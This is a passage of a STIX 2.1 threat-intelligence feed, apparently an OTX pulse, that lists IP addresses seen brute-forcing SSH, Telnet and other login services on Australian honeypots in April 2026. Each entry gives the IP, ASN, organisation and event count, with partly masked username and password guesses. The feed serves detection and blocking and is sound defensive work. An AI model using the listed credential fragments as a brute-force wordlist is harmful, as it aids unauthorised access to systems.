        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.183.74.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, c****e, 3**********4. Passwords observed (masked): !*******t, 1******a, 1*******d, 3***********4, 3**********4.",
      "id": "indicator--6c504b64-2dc0-4426-a9c9-73ec81345d14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.49.238.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132585. Organisation(s): SkyExchange Internet Access. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, T*******2, h******!, r********6.",
      "id": "indicator--00bc197c-a126-4fc4-ab66-4b8f52c96871",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '173.248.245.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 271186. Organisation(s): EUNAPOLIS TELECOM LTDA. Usernames observed (masked): r**t. Passwords observed (masked): P********4.",
      "id": "indicator--42c5049a-1a5e-441e-810d-68fc16acc20f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.51.153.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BF. ASN(s): 25543. Organisation(s): Onatel. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********4, 1******2, A*****3.",
      "id": "indicator--ce81bc75-b31e-4ef9-aa4d-c1a3c357f91e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.28.242.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--5bf6dc90-8e57-456e-bc5e-a5f42bf96ef9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 400. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC. Passwords observed (masked): P******d, p******d, 0****0, ***, 1*****7.",
      "id": "indicator--bd3bb5b9-828f-4e31-9c3f-19e4daa4bef2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.126.237.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited. Usernames observed (masked): e****e, e********g, l********l, s***l. Passwords observed (masked): i******t, p******h, **, s****m.",
      "id": "indicator--647cc8df-e30c-4c27-b1b0-8879aca757aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.204.88.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--be2b5242-91c2-4bb5-80bc-bf274103116c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45458. Organisation(s): SBN-ISPAWN-ISP and SBN-NIXAWN-NIX. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 1*******#, 3***********4, 3**********4, A********4, c*******3.",
      "id": "indicator--7becb51b-d115-4a0f-bbc5-5c57712e50a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.229.102.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G*********************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--f4004609-8ffc-4340-8530-b9e7f57bb427",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.225.106.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, u****u. Passwords observed (masked): ***, 1**4, ***, u****u.",
      "id": "indicator--12f1befe-3f09-490e-88f4-26fc8a5eef4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Heralding. Target ports: 5900. Source country: FR. ASN(s): 21499. Organisation(s): Host Europe GmbH. Passwords observed (masked): 0******4, a******r, a******n, p******s, u********y.",
      "id": "indicator--53ffab43-b15d-49b3-b953-a67a9917651f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.205.187.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T07:15:10.000Z",
      "valid_until": "2026-05-03T07:15:09.000Z"
    },
    {
      "created": "2026-04-01T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--d8b7e08c-6d8a-4a84-80e4-14349ef8d478",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.237.126.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T08:15:12.000Z",
      "valid_until": "2026-05-03T08:15:08.000Z"
    },
    {
      "created": "2026-04-01T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 852. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): 1******8, P******d, b******e, b******s, b******1.",
      "id": "indicator--02539d81-ee70-4618-bbde-b06b41eeb60b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T08:15:12.000Z",
      "valid_until": "2026-05-03T08:15:08.000Z"
    },
    {
      "created": "2026-04-01T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--e8a75c1c-1072-42e2-a610-9c4ea0b79d21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.48.130.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T08:15:12.000Z",
      "valid_until": "2026-05-03T08:15:08.000Z"
    },
    {
      "created": "2026-04-01T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--324a5f38-ff16-4120-97fe-b3ab69c633b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T08:15:12.000Z",
      "valid_until": "2026-05-03T08:15:08.000Z"
    },
    {
      "created": "2026-04-01T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: LK. ASN(s): 132124. Organisation(s): Information and Communication Technology Agency of Sri Lanka.",
      "id": "indicator--246b70f7-1e90-408c-a78e-f669572363ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.224.126.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T08:15:12.000Z",
      "valid_until": "2026-05-03T08:15:08.000Z"
    },
    {
      "created": "2026-04-01T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b112f96f-6f29-44c3-b804-ba6e501cf837",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.225.100.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T08:15:12.000Z",
      "valid_until": "2026-05-03T08:15:08.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): %**B, 3***********4, 3****5, 3**********4, 3***f.",
      "id": "indicator--3e2c11f7-d02d-45d8-9b8b-d63dbfc8a605",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.226.139.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136827. Organisation(s): Universitas PGRI Semarang. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0****5, 1******R, 3***********4, 3**********4, Q****3.",
      "id": "indicator--cfed5236-607c-45aa-a07b-e336037d332e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.98.176.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********n, 3***********4, 3**********4, A********6, P**s@w0rd.12.",
      "id": "indicator--99d508b6-f7cc-46ec-a5e0-b6cf0c2f71e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.14.225.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--1203d649-b629-4845-b946-c4b6483b31c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 235. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): a*****e, a****e, b****p, a***********r, c****s. Passwords observed (masked): 1****6, P******d, l*****n, p******d, q****y.",
      "id": "indicator--c7867dfe-ebe8-47c7-b03f-3e7e84b76702",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.16.54.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL.",
      "id": "indicator--d99fad87-3819-42ab-9b4a-7948c4a556bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): . Passwords observed (masked): r**t, a***n.",
      "id": "indicator--377c04ad-f737-4652-a2a5-a31eb48e78a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '4.210.177.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--02512c60-1a59-48ec-a6ee-8805c9ac639a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--b620d3b2-c582-4563-99ec-587ded77a552",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--fed30422-7298-4ab1-a7a7-747f72c40efc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.254.234.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--3b8068b8-11cf-4136-b833-f2e44357546a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.33.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U*******************************************************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--182707d2-c789-40c8-b64d-ad3a5df02447",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A..",
      "id": "indicator--d88d2160-7ca0-486e-84bf-3b1e0f161709",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.244.134.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T10:15:10.000Z",
      "valid_until": "2026-05-03T10:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****s, 1*****., 3***********4, 3**********4, R******3.",
      "id": "indicator--fc7c1118-39be-41bb-b86b-4fec0666f4cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.47.159.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********e, 1******., 3***********4, 3**********4, D******1.",
      "id": "indicator--3e01508b-6349-423e-b586-62f5ce8718ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.193.34.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T11:15:10.000Z",
      "valid_until": "2026-05-03T11:15:09.000Z"
    },
    {
      "created": "2026-04-01T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): m******a, n****e, p**********4.",
      "id": "indicator--f1e673f7-86d5-48c0-bccc-22b20970ca1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-01T11:15:10.000Z",
